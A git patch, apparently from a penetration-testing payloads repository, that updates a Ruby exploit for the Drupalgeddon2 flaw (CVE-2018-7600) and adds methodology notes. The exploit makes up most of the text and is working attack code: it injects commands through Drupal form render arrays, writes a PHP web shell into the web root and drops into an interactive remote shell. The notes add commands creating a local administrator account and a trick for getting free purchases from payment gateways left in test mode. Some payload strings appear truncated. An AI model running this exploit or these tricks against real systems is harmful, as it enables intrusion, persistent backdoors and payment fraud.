From f832022920baec7b77a1e166d2fbc27e9853f468 Mon Sep 17 00:00:00 2001 From: Swissky Date: Mon, 23 Apr 2018 18:41:59 +0200 Subject: [PATCH] Drupalgeddon2 update + Payment API in Methodology --- CVE Exploits/Drupalgeddon2 CVE-2018-7600.rb | 377 +++++++++++------- .../Methodology_and_enumeration.md | 54 ++- .../Windows - Using credentials.md | 6 + 3 files changed, 276 insertions(+), 161 deletions(-) diff --git a/CVE Exploits/Drupalgeddon2 CVE-2018-7600.rb b/CVE Exploits/Drupalgeddon2 CVE-2018-7600.rb index ae67143..d32a654 100644 --- a/CVE Exploits/Drupalgeddon2 CVE-2018-7600.rb +++ b/CVE Exploits/Drupalgeddon2 CVE-2018-7600.rb @@ -1,6 +1,7 @@ #!/usr/bin/env ruby # -# [CVE-2018-7600] Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' ~ https://github.com/dreadlocked/Drupalgeddon2/ +# [CVE-2018-7600] Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' (SA-CORE-2018-002) ~ https://github.com/dreadlocked/Drupalgeddon2/ +# # Authors: # - Hans Topo ~ https://github.com/dreadlocked // https://twitter.com/_dreadlocked # - g0tmi1k ~ https://blog.g0tmi1k.com/ // https://twitter.com/g0tmi1k @@ -14,11 +15,82 @@ require 'openssl' require 'readline' -# Proxy information (nil to disable) +# Settings - Proxy information (nil to disable) proxy_addr = nil proxy_port = 8080 +# Settings - General +$useragent = "drupalgeddon2" +webshell = "s.php" +writeshell = true + + +# Settings - Payload (we could just be happy without this, but we can do better!) +#bashcmd = "' +bashcmd = "&1' ); }" +bashcmd = "echo " + Base64.strict_encode64(bashcmd) + " | base64 -d" + + +# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + +# Function http_post [post] +def http_post(url, payload="") + uri = URI(url) + request = Net::HTTP::Post.new(uri.request_uri) + request.initialize_http_header({"User-Agent" => $useragent}) + request.body = payload + return $http.request(request) +end + + +# Function gen_evil_url +def gen_evil_url(evil, feedback=true) + # PHP function to use (don't forget about disabled functions...) + phpmethod = $drupalverion.start_with?('8')? "exec" : "passthru" + + #puts "[*] PHP cmd: #{phpmethod}" if feedback + puts "[*] Payload: #{evil}" if feedback + + ## Check the version to match the payload + # Vulnerable Parameters: #access_callback / #lazy_builder / #pre_render / #post_render + if $drupalverion.start_with?('8') + # Method #1 - Drupal 8, mail, #post_render - response is 200 + url = $target + "user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax" + payload = "form_id=user_register_form&_drupal_ajax=1&mail[a][#post_render][]=" + phpmethod + "&mail[a][#type]=markup&mail[a][#markup]=" + evil + + # Method #2 - Drupal 8, timezone, #lazy_builder - response is 500 & blind (will need to disable target check for this to work!) + #url = $target + "user/register%3Felement_parents=timezone/timezone/%23value&ajax_form=1&_wrapper_format=drupal_ajax" + #payload = "form_id=user_register_form&_drupal_ajax=1&timezone[a][#lazy_builder][]=exec&timezone[a][#lazy_builder][][]=" + evil + elsif $drupalverion.start_with?('7') + # Method #3 - Drupal 7, name, #post_render - response is 200 + url = $target + "?q=user/password&name[%23post_render][]=" + phpmethod + "&name[%23type]=markup&name[%23markup]=" + evil + payload = "form_id=user_pass&_triggering_element_name=name" + else + puts "[!] Unsupported Drupal version" + exit + end + + # Drupal v7 needs an extra value from a form + if $drupalverion.start_with?('7') + response = http_post(url, payload) + + form_build_id = response.body.match(/input type="hidden" name="form_build_id" value="(.*)"/).to_s().slice(/value="(.*)"/, 1).to_s.strip + puts "[!] WARNING: Didn't detect form_build_id" if form_build_id.empty? + + #url = $target + "file/ajax/name/%23value/" + form_build_id + url = $target + "?q=file/ajax/name/%23value/" + form_build_id + payload = "form_build_id=" + form_build_id + end + + return url, payload +end + + +# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + # Quick how to use if ARGV.empty? puts "Usage: ruby drupalggedon2.rb " @@ -26,184 +98,211 @@ if ARGV.empty? exit end # Read in values -target = ARGV[0] +$target = ARGV[0] + + +# Check input for protocol +if not $target.start_with?('http') + $target = "http://#{$target}" +end +# Check input for the end +if not $target.end_with?('/') + $target += "/" +end + + +# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - # Banner puts "[*] --==[::#Drupalggedon2::]==--" puts "-"*80 - - -# Check input for protocol -if not target.start_with?('http') - target = "http://${target}" -end -# Check input for the end -if not target.end_with?('/') - target += "/" -end - - -# Payload (we could just be happy with this, but we can do better!) -#evil = '' -evil = '&1" ); }' -evil = "echo " + Base64.strict_encode64(evil).strip + " | base64 -d | tee s.php" - - -# Feedback -puts "[*] Target : #{target}" -puts "[*] Payload: #{evil}" +puts "[*] Target : #{$target}" +puts "[*] Write? : Skipping writing web shell" if not writeshell puts "-"*80 +# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + +# Setup connection +uri = URI($target) +$http = Net::HTTP.new(uri.host, uri.port, proxy_addr, proxy_port) + + +# Use SSL/TLS if needed +if uri.scheme == "https" + $http.use_ssl = true + $http.verify_mode = OpenSSL::SSL::VERIFY_NONE +end + + +# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + # Try and get version -drupalverion = nil +$drupalverion = nil # Possible URLs url = [ - target + "CHANGELOG.txt", - target + "core/CHANGELOG.txt", - target + "includes/bootstrap.inc", - target + "core/includes/bootstrap.inc", + $target + "CHANGELOG.txt", + $target + "core/CHANGELOG.txt", + $target + "includes/bootstrap.inc", + $target + "core/includes/bootstrap.inc", ] # Check all url.each do|uri| - exploit_uri = URI(uri) - # Check response - http = Net::HTTP.new(exploit_uri.host, exploit_uri.port, proxy_addr, proxy_port) - request = Net::HTTP::Get.new(exploit_uri.request_uri) - response = http.request(request) + response = http_post(uri) if response.code == "200" puts "[+] Found : #{uri} (#{response.code})" + # Patched already? puts "[!] WARNING: Might be patched! Found SA-CORE-2018-002: #{url}" if response.body.include? "SA-CORE-2018-002" - drupalverion = response.body.match(/Drupal (.*),/).to_s().slice(/Drupal (.*),/, 1).strip - puts "[+] Drupal!: #{drupalverion}" + # Try and get version from the file contents + $drupalverion = response.body.match(/Drupal (.*),/).to_s.slice(/Drupal (.*),/, 1).to_s.strip + + # If not, try and get it from the URL + $drupalverion = uri.match(/core/)? "8.x" : "7.x" if $drupalverion.empty? + # Done! break elsif response.code == "403" puts "[+] Found : #{uri} (#{response.code})" - drupalverion = uri.match(/core/)? '8.x' : '7.x' - puts "[+] Drupal?: #{drupalverion}" + # Get version from URL + $drupalverion = uri.match(/core/)? "8.x" : "7.x" else puts "[!] MISSING: #{uri} (#{response.code})" end end -if not drupalverion - puts "[!] Didn't detect Drupal version" - puts "[!] Forcing Drupal v8.x attack" - drupalverion = "8.x" -end -puts "-"*80 - - -# PHP function to use (don't forget about disabled functions...) -phpmethod = drupalverion.start_with?('8')? 'exec' : 'passthru' -puts "[*] PHP cmd: #{phpmethod}" -puts "-"*80 - - -## Check the version to match the payload -if drupalverion.start_with?('8') - # Method #1 - Drupal 8, timezone, #lazy_builder - response is 500 & blind (will need to disable target check for this to work!) - #url = target + "user/register%3Felement_parents=timezone/timezone/%23value&ajax_form=1&_wrapper_format=drupal_ajax" - #payload = "form_id=user_register_form&_drupal_ajax=1&timezone[a][#lazy_builder][]=exec&timezone[a][#lazy_builder][][]=" + evil - - # Method #2 - Drupal 8, mail, #post_render - response is 200 - url = target + "user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax" - # Vulnerable Parameters: #access_callback / #lazy_builder / #pre_render / #post_render - payload = "form_id=user_register_form&_drupal_ajax=1&mail[a][#post_render][]=" + phpmethod + "&mail[a][#type]=markup&mail[a][#markup]=" + evil -elsif drupalverion.start_with?('7') - # Method #3 - Drupal 7, name, #post_render - response is 200 - url = target + "?q=user/password&name[%23post_render][]=" + phpmethod + "&name[%23type]=markup&name[%23markup]=" + evil - payload = "form_id=user_pass&_triggering_element_name=name" -else - puts "[!] Unsupported Drupal version" - exit -end - - -uri = URI(url) -http = Net::HTTP.new(uri.host, uri.port, proxy_addr, proxy_port) - - -# Use SSL/TLS if needed -if uri.scheme == 'https' - http.use_ssl = true - http.verify_mode = OpenSSL::SSL::VERIFY_NONE -end - - -# Drupal v7 needs an extra value from a form -if drupalverion.start_with?('7') - req = Net::HTTP::Post.new(uri.request_uri) - req.body = payload - response = http.request(req) - - form_build_id = response.body.match(/input type="hidden" name="form_build_id" value="(.*)"/).to_s().slice(/value="(.*)"/, 1).strip - url = target + "file/ajax/name/%23value/" + form_build_id - uri = URI(url) - payload = "form_build_id=" + form_build_id -end - - -# Make the request -req = Net::HTTP::Post.new(uri.request_uri) -req.body = payload - - -# Check response -response = http.request(req) -if response.code == "200" - puts "[+] Target seems to be exploitable! w00hooOO!" - #puts "[+] Result: " + JSON.pretty_generate(JSON[response.body]) - result = drupalverion.start_with?('8')? JSON.parse(response.body)[0]["data"] : response.body - puts "[+] Result: #{result}" -else - puts "[!] Target does NOT seem to be exploitable ~ Response: #{response.code}" -end -puts "-"*80 - # Feedback -puts "[*] curl '#{target}s.php' -d 'c=whoami'" +if $drupalverion + status = $drupalverion.end_with?('x')? "?" : "!" + puts "[+] Drupal#{status}: #{$drupalverion}" +else + puts "[!] Didn't detect Drupal version" + puts "[!] Forcing Drupal v8.x attack" + $drupalverion = "8.x" +end puts "-"*80 -# Test to see if backdoor is there -exploit_uri = URI(target + "s.php") -# Check response -http = Net::HTTP.new(exploit_uri.host, exploit_uri.port, proxy_addr, proxy_port) -request = Net::HTTP::Get.new(exploit_uri.request_uri) -response = http.request(request) -if response.code == "200" - puts "[*] Fake shell: " +# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - # Stop any CTRL + C action ;) - trap('INT', 'SIG_IGN') - # Forever loop - loop do - # Get input - command = Readline.readline('drupalgeddon2> ', true) - # Exit - break if command =~ /exit/ +# Make a request, testing code execution +puts "[*] Testing: Code Execution" +# Generate a random string to see if we can echo it +random = (0...8).map { (65 + rand(26)).chr }.join +url, payload = gen_evil_url("echo #{random}") +response = http_post(url, payload) +if response.code == "200" and not response.body.empty? + #result = JSON.pretty_generate(JSON[response.body]) + result = $drupalverion.start_with?('8')? JSON.parse(response.body)[0]["data"] : response.body + puts "[+] Result : #{result}" - # Blank link? - next if command.empty? - - # Send request - req = Net::HTTP::Post.new(exploit_uri.request_uri) - req.body = "c=#{command}" - puts http.request(req).body - end + puts response.body.match(/#{random}/)? "[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!" : "[+] Target might to be exploitable?" else - puts "[!] Exploit FAILED ~ Response: #{response.code}" + puts "[!] Target is NOT exploitable ~ HTTP Response: #{response.code}" exit end +puts "-"*80 + + +# Location of web shell & used to signal if using PHP shell +webshellpath = nil +prompt = "drupalgeddon2" +# Possibles paths to try +paths = [ + "./", + "./sites/default/", + "./sites/default/files/", +] +# Check all +paths.each do|path| + puts "[*] Testing: File Write To Web Root (#{path})" + + # Merge locations + webshellpath = "#{path}#{webshell}" + + # Final command to execute + cmd = "#{bashcmd} | tee #{webshellpath}" + + # Generate evil URLs + url, payload = gen_evil_url(cmd) + # Make the request + response = http_post(url, payload) + # Check result + if response.code == "200" and not response.body.empty? + # Feedback + #result = JSON.pretty_generate(JSON[response.body]) + result = $drupalverion.start_with?('8')? JSON.parse(response.body)[0]["data"] : response.body + puts "[+] Result : #{result}" + + # Test to see if backdoor is there (if we managed to write it) + response = http_post("#{$target}#{webshellpath}", "c=hostname") + if response.code == "200" and not response.body.empty? + puts "[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!" + break + else + puts "[!] Target is NOT exploitable. No write access here!" + end + else + puts "[!] Target is NOT exploitable for some reason ~ HTTP Response: #{response.code}" + end + webshellpath = nil +end if writeshell +puts "-"*80 if writeshell + +if webshellpath + # Get hostname for the prompt + prompt = response.body.to_s.strip + + # Feedback + puts "[*] Fake shell: curl '#{$target}#{webshell}' -d 'c=whoami'" +elsif writeshell + puts "[!] FAILED: Coudn't find writeable web path" + puts "[*] Dropping back direct commands (expect an ugly shell!)" +end + + +# Stop any CTRL + C action ;) +trap("INT", "SIG_IGN") + + +# Forever loop +loop do + # Default value + result = "ERROR" + + # Get input + command = Readline.readline("#{prompt}>> ", true).to_s + + # Exit + break if command =~ /exit/ + + # Blank link? + next if command.empty? + + # If PHP shell + if webshellpath + # Send request + result = http_post("#{$target}#{webshell}", "c=#{command}").body + # Direct commands + else + url, payload = gen_evil_url(command, false) + response = http_post(url, payload) + if response.code == "200" and not response.body.empty? + result = $drupalverion.start_with?('8')? JSON.parse(response.body)[0]["data"] : response.body + end + end + + # Feedback + puts result +end diff --git a/Methodology and Resources/Methodology_and_enumeration.md b/Methodology and Resources/Methodology_and_enumeration.md index b7e09e3..b75927a 100644 --- a/Methodology and Resources/Methodology_and_enumeration.md +++ b/Methodology and Resources/Methodology_and_enumeration.md @@ -276,32 +276,42 @@ then launch Burp with : java -jar burpsuite_free_v*.jar & ``` * Checklist for Web vulns -``` -[] AWS Amazon Bucket S3 -[] Git Svn insecure files -[] CVE Shellshock Heartbleed -[] Open redirect -[] Traversal directory -[] XSS injection -[] CRLF injection -[] CSRF injection -[] SQL injection -[] NoSQL injection -[] PHP include -[] Upload insecure files -[] SSRF injection -[] XXE injections -[] CSV injection -[] PHP serialization -... -``` + ``` + [] AWS Amazon Bucket S3 + [] Git Svn insecure files + [] CVE Shellshock Heartbleed + [] Open redirect + [] Traversal directory + [] XSS injection + [] CRLF injection + [] CSRF injection + [] SQL injection + [] NoSQL injection + [] PHP include + [] Upload insecure files + [] SSRF injection + [] XXE injections + [] CSV injection + [] PHP serialization + ... + ``` * Subscribe to the site and pay for the additional functionality to test * Launch a Nikto scan in case you missed something -``` -nikto -h http://domain.example.com -``` + ``` + nikto -h http://domain.example.com + ``` + +* Payment functionality - [@gwendallecoguic](https://twitter.com/gwendallecoguic/status/988138794686779392) + > if the webapp you're testing uses an external payment gateway, check the doc to find the test credit numbers, purchase something and if the webapp didn't disable the test mode, it will be free + From https://stripe.com/docs/testing#cards : "Use any of the following test card numbers, a valid expiration date in the future, and any random CVC number, to create a successful payment. Each test card's billing country is set to U.S. " + e.g : + | NUMBER | BRAND | + | :------------- | :------------- | + | 4242424242424242 | Visa | + | 4000056655665556 | Visa (debit) | + | 5555555555554444 | Mastercard | ## Thanks to * http://blog.it-securityguard.com/bugbounty-yahoo-phpinfo-php-disclosure-2/ diff --git a/Methodology and Resources/Windows - Using credentials.md b/Methodology and Resources/Windows - Using credentials.md index af66ffd..43b44d4 100644 --- a/Methodology and Resources/Windows - Using credentials.md +++ b/Methodology and Resources/Windows - Using credentials.md @@ -1,4 +1,10 @@ # Windows - Using credentials +Little tip, if you don't have credentials yet :D +``` +net user hacker hacker /add +net localgroup administrators hacker /add +``` + ## Metasploit - SMB ```c